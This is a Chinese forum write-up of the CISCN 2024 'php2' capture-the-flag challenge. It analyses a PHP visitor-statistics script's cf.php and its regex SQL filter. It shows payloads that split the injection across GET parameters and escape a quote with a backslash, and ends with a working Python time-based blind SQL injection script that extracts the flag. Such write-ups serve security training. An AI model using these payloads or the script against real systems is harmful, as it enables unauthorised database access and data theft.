CISCN 2024 华东北赛区php2正解
广*骋 发表于 江苏 历史精选 1716浏览 · 2024-06-24 14:42

拿到源码 目录结果如下

查看cf.php的代码

<?php
@include("include/myfunction.php");
$action = isset($_GET["action"]) ? chkstr($_GET["action"],1) : "countget";
$assort = isset($_GET["assort"]) ? chkstr($_GET["assort"],2) : 0;
$c = isset($_GET["c"]) ? chkstr($_GET["c"],1) : "";
$username = isset($_GET["username"]) ? chkstr($_GET["username"],1) : "";
if($assort=="")
{
    if($c=="")
    {
        $assort=0;
    }
    else
    {
        $username=$c;
        $assort=1;
    }
}
$tmp=httppath(2);
if($action=="countget"&&$assort==0)
{
    echo 'function getCookie(name){     '.chr(13).chr(10);
    echo 'var arg = name + "=";     '.chr(13).chr(10);
    echo 'var alen = arg.length;    '.chr(13).chr(10);
    echo 'var clen = document.cookie.length;    '.chr(13).chr(10);
    echo 'var i = 0;    '.chr(13).chr(10);
    echo 'while (i < clen){     '.chr(13).chr(10);
    echo 'var j = i + alen;     '.chr(13).chr(10);
    echo 'if(document.cookie.substring(i, j) == arg)    '.chr(13).chr(10);
    echo 'return getCookieVal(j);   '.chr(13).chr(10);
    echo 'i = document.cookie.indexOf(" ", i) + 1;  '.chr(13).chr(10);
    echo 'if(i == 0) break;     '.chr(13).chr(10);
    echo '}     '.chr(13).chr(10);
    echo 'return null;  '.chr(13).chr(10);
    echo '}     '.chr(13).chr(10);
    echo 'function setCookie(name,value){   '.chr(13).chr(10);
    echo 'var expDate = new Date();     '.chr(13).chr(10);
    echo 'var argv = setCookie.arguments;   '.chr(13).chr(10);
    echo 'var argc = setCookie.arguments.length;    '.chr(13).chr(10);
    echo 'var expires = (argc > 2) ? argv[2] : null;    '.chr(13).chr(10);
    echo 'var path = (argc > 3) ? argv[3] : null;   '.chr(13).chr(10);
    echo 'var domain = (argc > 4) ? argv[4] : null;     '.chr(13).chr(10);
    echo 'var secure = (argc > 5) ? argv[5] : false;    '.chr(13).chr(10);
    echo 'if(expires != null){expDate.setTime (expDate.getTime() + expires);}   '.chr(13).chr(10);
    echo 'document.cookie = name + "=" + escape (value) +   '.chr(13).chr(10);
    echo '((expires == null) ? "" : ("; expires=" + expDate.toUTCString())) +   '.chr(13).chr(10);
    echo '((path == null) ? "" : ("; path=" + path)) +  '.chr(13).chr(10);
    echo '((domain == null) ? "" : ("; domain=" + domain)) +    '.chr(13).chr(10);
    echo '((secure == true) ? "; secure" : "");     '.chr(13).chr(10);
    echo '}     '.chr(13).chr(10);
    echo 'function getCookieVal(offset){    '.chr(13).chr(10);
    echo 'var endstr = document.cookie.indexOf (";", offset);   '.chr(13).chr(10);
    echo 'if (endstr == -1)     '.chr(13).chr(10);
    echo 'endstr = document.cookie.length;  '.chr(13).chr(10);
    echo 'return unescape(document.cookie.substring(offset, endstr));   '.chr(13).chr(10);
    echo '}     '.chr(13).chr(10);
    echo " var firstshow=0; ".chr(13).chr(10);
    echo " var cfstatshowcookie=getCookie('cfstatshowcookie');  ".chr(13).chr(10);
    echo " if(cfstatshowcookie!='".$username."')    ".chr(13).chr(10);
    echo " {    ".chr(13).chr(10);
    echo "  a=new Date();   ".chr(13).chr(10);
    echo "  h=a.getHours(); ".chr(13).chr(10);
    echo "  m=a.getMinutes();   ".chr(13).chr(10);
    echo "  s=a.getSeconds();   ".chr(13).chr(10);
    echo "  sparetime=1000*60*60*24*1-(h*3600+m*60+s)*1000-1;   ".chr(13).chr(10);
    echo "  setCookie('cfstatshowcookie','".$username."',sparetime,'/');    ".chr(13).chr(10);
    echo "  firstshow=1;    ".chr(13).chr(10);
    echo " }    ".chr(13).chr(10);
    echo "if(!navigator.cookieEnabled){firstshow=0;}    ".chr(13).chr(10);
    echo "var ly=escape(document.referrer); ".chr(13).chr(10);
    echo "var currweb=escape(location.href);    ".chr(13).chr(10);
    echo "var screenwidth=screen.width;                         ".chr(13).chr(10);
    echo "var screenheight=screen.height;                       ".chr(13).chr(10);
    echo "var screencolordepth=screen.colorDepth;   ".chr(13).chr(10);
    echo "var webtitle=document.title;  ".chr(13).chr(10);
    echo "document.write(\"<script src='".$tmp."cf.php?action=countget_2&username=".$username."&assort=0&ly=\" + ly + \"&currweb=\" + currweb + \"&firstshow=\" + firstshow + \"&screenwidth=\" + screenwidth + \"&screenheight=\" + screenheight + \"&screencolordepth=\" + screencolordepth + \"&webtitle=\" + webtitle + \"&ranstr=\" +  Math.random() + \"' language='JavaScript' charset='gbk'></script>\");   ".chr(13).chr(10);
}
if($action=="countget_2"||$assort==1)
{
    @include("conn.php");
    @include("config.php");
    if($assort==0){
        $ly=isset($_GET["ly"]) ? substr(chkstr(htmlspecialchars(urldecode($_GET["ly"])),1),0,255) : "";
        $currweb=isset($_GET["currweb"]) ? substr(chkstr(htmlspecialchars(urldecode($_GET["currweb"])),1),0,255) : "";
    }
    else
    {
        $ly= isset($_SERVER["HTTP_REFERER"]) ? substr(chkstr(htmlspecialchars(urldecode($_SERVER["HTTP_REFERER"])),1),0,255) : "";
        $currweb=$ly;
    }
    $firstshow = isset($_GET["firstshow"]) ? chkstr($_GET["firstshow"],2) : 0;
    $screenwidth = isset($_GET["screenwidth"]) ? chkstr($_GET["screenwidth"],2) : 0;
    $screenheight = isset($_GET["screenheight"]) ? chkstr($_GET["screenheight"],2) : 0;
    $screencolordepth = isset($_GET["screencolordepth"]) ? chkstr($_GET["screencolordepth"],2) : 0;
    $webtitle=isset($_GET["webtitle"]) ? substr(chkstr(htmlspecialchars($_GET["webtitle"]),1),0,255) : "";
    $lyhead=isset($ly) ? breakurl($ly) : "";
    $ip = chkstr(getip(),1);
    $agentstr=$_SERVER['HTTP_USER_AGENT'];
    if (strpos($agentstr,'Alexa')!==false)
        $alexa=1;
    else
        $alexa=0;
    $ostype=getostype();
    $browsertype=getbrowsertype();
    if(abs(strtotime("now")-strtotime($rsset["lastdeldate"]))>3600*24*1)
    {
        $sql="delete from cfstat_visit_last where TO_DAYS(NOW())-TO_DAYS(lasttime)>1";
        mysql_query($sql);
        $sql="delete from cfstat_client_day where TO_DAYS(NOW())-TO_DAYS(adddate)>$clientkeepday";
        mysql_query($sql);
        $sql="delete from cfstat_count_day where TO_DAYS(NOW())-TO_DAYS(adddate)>$countkeepday";
        mysql_query($sql);
        $sql="delete from cfstat_count_hour where TO_DAYS(NOW())-TO_DAYS(adddate)>$hourkeepday";
        mysql_query($sql);
        $sql="delete from cfstat_ly_day where TO_DAYS(NOW())-TO_DAYS(adddate)>$lykeepday";
        mysql_query($sql);
        $sql="delete from cfstat_search_day where TO_DAYS(NOW())-TO_DAYS(adddate)>$searchkeepday";
        mysql_query($sql);
        $sql="delete from cfstat_searchkeyword_day where TO_DAYS(NOW())-TO_DAYS(adddate)>$searchkeywordkeepday";
        mysql_query($sql);
        $sql="delete from cfstat_web_day where TO_DAYS(NOW())-TO_DAYS(adddate)>$webkeepday";
        mysql_query($sql);
        $sql="update cfstat_admin set lastdeldate='".date("Y-m-d")."'";
        mysql_query($sql);
    }
    $sql="select countershow,style,showtotal,realiptotal,userstate,imgfilename,imgselftext from cfstat_user where username='$username'";
    $result=mysql_query($sql);
    $rs=mysql_fetch_assoc($result);
    if($rs['userstate']==0)
    {
        $mycode="<a href=".$tmp."cf.php?action=countgo&username=".$username." target=_blank title=&#x7F51;&#x7AD9;&#x6D41;&#x91CF;&#x7EDF;&#x8BA1;>&#x7528;&#x6237;&#x88AB;&#x6682;&#x505C;</a>";
        echo "document.write('".$mycode."');";
        exit;
    }
    else
    {
        $countershow=$rs['countershow'];
        $style=$rs['style'];
        $showtotal=$rs['showtotal']+1;
        $realiptotal=$rs['realiptotal'];
        $imgfilename=$rs['imgfilename'];
        $imgselftext=$rs['imgselftext'];
    }
    if($assort==0)
    {
        if($firstshow==0){
            $sql="update cfstat_visit_last set pvtotal=pvtotal+1,webtitle='$webtitle',currweb='$currweb',lasttime='".date("Y-m-d H:i:s")."' where ip='$ip' and username='$username'";
            mysql_query($sql);
        }
    }
    elseif($assort==1)
    {
        $sql="update cfstat_visit_last set pvtotal=pvtotal+1,currweb='$currweb',lasttime='".date("Y-m-d H:i:s")."' where ip='$ip' and username='$username'";
        mysql_query($sql);
        if(mysql_affected_rows()==0)
        {
            $firstshow=1;
        }
        else
        {
            $firstshow=0;
        }
    }
    if($firstshow==1)
    {
        $sql="select id from cfstat_visit_last where username='$username' and myid<=".($realiptotal+1-$user_visit_maxrsnum)." order by myid desc limit 0,1";
        $result=mysql_query($sql);
        $rs=mysql_fetch_assoc($result);
        if($rs['id'])
        {
            $sql="update cfstat_visit_last set";
            $sql = $sql." myid='".($realiptotal+1)."',";
            $sql = $sql."username='$username',";
            $sql = $sql."ip='$ip',";
            $sql = $sql."pvtotal='1',";
            $sql = $sql."ly='$ly',";
            $sql = $sql."webtitle='$webtitle',";
            $sql = $sql."currweb='$currweb',";
            $sql = $sql."addtime='".date("Y-m-d H:i:s")."',";
            $sql = $sql."lasttime='".date("Y-m-d H:i:s")."',";
            $sql = $sql."screenwidth='$screenwidth',";
            $sql = $sql."screenheight='$screenheight',";
            $sql = $sql."screencolordepth='$screencolordepth',";
            $sql = $sql."ostype='$ostype',";
            $sql = $sql."browsertype='$browsertype'";
            $sql = $sql." where id='".$rs['id']."'";
            mysql_query($sql);
        }
        else
        {
            $sql="insert into cfstat_visit_last (myid,username,ip,ly,webtitle,currweb,addtime,lasttime,screenwidth,screenheight,screencolordepth,ostype,browsertype)  values(".($realiptotal+1).",'$username','$ip','$ly','$webtitle','$currweb','".date("Y-m-d H:i:s")."','".date("Y-m-d H:i:s")."','$screenwidth','$screenheight','$screencolordepth','$ostype','$browsertype')";
            mysql_query($sql);
        }
        $sql="update cfstat_user set showtotal=showtotal+1,realshowtotal=realshowtotal+1,realiptotal=realiptotal+1,lasttime='".date("Y-m-d H:i:s")."' where username='$username'";
        mysql_query($sql);
    }
    elseif($firstshow==0)
    {
        $sql="update cfstat_user set showtotal=showtotal+1,realshowtotal=realshowtotal+1,lasttime='".date("Y-m-d H:i:s")."' where username='$username'";
        mysql_query($sql);
    }
    if($firstshow==1)
    {
....
}

前200行如上,后面不重要的不放了
可以看到在191行的sql语句如下

$sql="insert into cfstat_visit_last (myid,username,ip,ly,webtitle,currweb,addtime,lasttime,screenwidth,screenheight,screencolordepth,ostype,browsertype)  values(".($realiptotal+1).",'$username','$ip','$ly','$webtitle','$currweb','".date("Y-m-d H:i:s")."','".date("Y-m-d H:i:s")."','$screenwidth','$screenheight','$screencolordepth','$ostype','$browsertype')";

其中$username,$ip,$ly,$webtitle,$currweb都是可控的,它们在上文的赋值操作如下

$username = isset($_GET["username"]) ? chkstr($_GET["username"],1) : "";
        $ly=isset($_GET["ly"]) ? substr(chkstr(htmlspecialchars(urldecode($_GET["ly"])),1),0,255) : "";
        $currweb=isset($_GET["currweb"]) ? substr(chkstr(htmlspecialchars(urldecode($_GET["currweb"])),1),0,255) : "";
    $webtitle=isset($_GET["webtitle"]) ? substr(chkstr(htmlspecialchars($_GET["webtitle"]),1),0,255) : "";
}

可以看到都存在一个chkstr过滤,跟进一下

function chkstr($paravalue,$paratype) //过滤非法字符
{
 if($paratype==1)
 {
  $filterstr="(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
  if (preg_match("/".$filterstr."/is",$paravalue)==1){   
   echo "传递的参数类型有错误!";
   exit;
  }

  $inputstr=str_replace("'","''",$paravalue);
  }
 elseif($paratype==2)
 {
   if($paravalue!=""&&is_numeric($paravalue)==false)
   {
     echo "传递的参数类型有错误!";
     exit;
    }
   else
   { 
    $inputstr=$paravalue;
    }
 }
 elseif($paratype==3)
 {
   if($paravalue!=""&&(strtotime($paravalue)==false||strtotime($paravalue)==-1))
   {
     echo("传递的参数类型有错误!");
     exit;
   }
   else
   { 
    $inputstr=$paravalue;
    }
 }

 return $inputstr;
}

可以看到当$paratype==1时,存在一个对sql注入的正则过滤,该正则过滤可以通过多个参数拼接绕过,形如
username=',(select/&ly=/flag from flag,1,1,1);#
需要注意的是,除了username外,其他参数还使用了htmlspecialchars函数进行过滤,因此过滤了',需要使用0x绕过
最终执行的mysql语句形如

insert into cfstat_visit_last (myid,username,ip,ly,webtitle,currweb,addtime,lasttime,screenwidth,screenheight,screencolordepth,ostype,browsertype)  values(1,'',select /*.....*/flag from flag,1,1,1,1,1,1,1,1,1,1);#......

由于没有回显和报错,可以通过时间盲注获取flag
正常来说此时已经可以注入进去,但是执行时发现无法到底目标代码的位置,向前回溯,发现在133行有个exit

$sql="select countershow,style,showtotal,realiptotal,userstate,imgfilename,imgselftext from cfstat_user where username='$username'";
    $result=mysql_query($sql);
    $rs=mysql_fetch_assoc($result);
    if($rs['userstate']==0)
    {
        $mycode="<a href=".$tmp."cf.php?action=countgo&username=".$username." target=_blank title=&#x7F51;&#x7AD9;&#x6D41;&#x91CF;&#x7EDF;&#x8BA1;>&#x7528;&#x6237;&#x88AB;&#x6682;&#x505C;</a>";
        echo "document.write('".$mycode."');";
        exit;
    }

在cfstat_user表中username='$username'的结果,如果$rs['userstate']==0的话则exit,由于php的弱语言特性,当查询结果为空时$rs['userstate']为NULL,$rs['userstate']==0为True,因此username需要为一个userstate不为0的用户名
查询备份表中的数据,发现存在一个username为mytest的用户且userstate不为0;输入username=mytest,此时username不能作为注入的参数,由于其他参数都被htmlspecialchars过滤,无法直接注入单引号',因此我们需要使用反斜杠\逃逸出单引号,形如
ly=\&webtitle=,(select flag/&currweb=/from flag),1,1,1);#
包裹ly变量的后单引号被\注释,使后面的webtitle变量逃逸出来
最终执行的sql语句如下

insert into cfstat_visit_last (myid,username,ip,ly,webtitle,currweb,addtime,lasttime,screenwidth,screenheight,screencolordepth,ostype,browsertype)  values(1,'mytest','ly=\',webtitle=',(select /*.....*/flag from flag,1,1,1,1,1,1,1,1);#......

最终时间盲注的exp如下(比赛时flag在数据库里,本地复现时需要自行在数据库里添加)
(环境源码和数据库文件在附件里)

#目标地址
url="http://127.0.0.1:801/php2/www/"
data=""
data_len=-1
#要执行的sql语句 必须是select
sql_select=""
for num in range(1,1000):
    new_data_len=len(data)
    if new_data_len==data_len:
        break
    else:
        data_len=new_data_len
    for i in range(30,128):
        #要执行的sql语句
        sql= sql_select if sql_select else "select user()"
        sql=f"ascii(substr((sql),{num},1))={i}".replace("sql",sql)
        # 生成payload
        # payload='a:1:{i:0%3ba:1:{s:9:"ProductID"%3bs:num:"1) or if(sql,sleep(1),1)#"%3b}}'.replace("num",str(22+sqllen)).replace("sql",sql)
        # print(payload)
        #发送payload
        time1=time.time()
        try:
            r=requests.get(url+f"cf.php?username=mytest&firstshow=1&action=countget_2&ly=\\&webtitle=,if(ascii(substr((select flag/*&currweb=*/from flag),{num},1))={i},sleep(5),1),1,1,1,1,1,1,1,1);%23")
            time2 = time.time()
        except:
            print("error")
            exit()

        print(r.request.url)
        if r.status_code == 429:
            print("too fast")
            time.sleep(5)
            continue
        if time2-time1 > 5:
            data+=chr(i)
            print(data)
            break
print(data[:-1])
附件:
0 条评论
某人
表情
可输入 255

没有评论

目录